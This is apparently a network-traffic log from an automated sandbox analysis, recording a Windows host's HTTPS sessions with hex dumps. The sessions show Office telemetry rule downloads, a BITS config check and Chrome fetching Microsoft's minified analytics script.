2024-11-15 12:18:45 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:45 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: fe042a41-f01e-0003-03af-364453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121845Z-16547b76f7f9s8x7hC1DFWywrg000000011000000000ames x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:45 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.7	49857	13.107.246.45	443	7968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:45 UTC	633	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: 0x8DCEC757C1AD1D1 If-Modified-Since: Mon, 14 Oct 2024 17:27:31 GMT
2024-11-15 12:18:45 UTC	809	IN	HTTP/1.1 304 Not Modified Date: Fri, 15 Nov 2024 12:18:45 GMT Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: b909e3ec-f01e-00d4-7c8f-269d10000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241115T121845Z-16547b76f7fr28cchC1DFWnuws0000000n80000000006695 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.7	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:45 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:45 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:45 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: dbae507e-301e-000c-7008-36323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121845Z-1866b5c5fbbr78bbhC1DFWqz2n000000018g00000000f9re x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:45 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.7	49862	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:45 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-15 12:18:45 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=188804 Date: Fri, 15 Nov 2024 12:18:45 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.7	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:45 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:45 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:45 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 43525779-601e-003e-2ed2-2c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121845Z-16547b76f7fp6mhthC1DFWrggn0000000n4000000000dema x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:45 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.7	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:45 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:45 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:45 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 2374d83a-301e-0020-4b09-376299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121845Z-1866b5c5fbbfncq9hC1DFW7rf80000000180000000006btk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:45 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.7	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:45 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:45 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:45 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 7d919cb8-901e-0016-4409-37efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121845Z-1866b5c5fbbfhwqqhC1DFW513800000000qg000000006mg6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:45 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.7	49870	13.107.246.45	443	7968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:45 UTC	370	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-15 12:18:46 UTC	889	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:45 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: f82a7196-301e-006a-3e55-34f8b2000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241115T121845Z-164f84587bfm8kdnhC1DFWey4g000000017000000000cvv2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 12:18:46 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-15 12:18:46 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-11-15 12:18:46 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-11-15 12:18:46 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-11-15 12:18:46 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-11-15 12:18:46 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
2024-11-15 12:18:46 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
2024-11-15 12:18:46 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
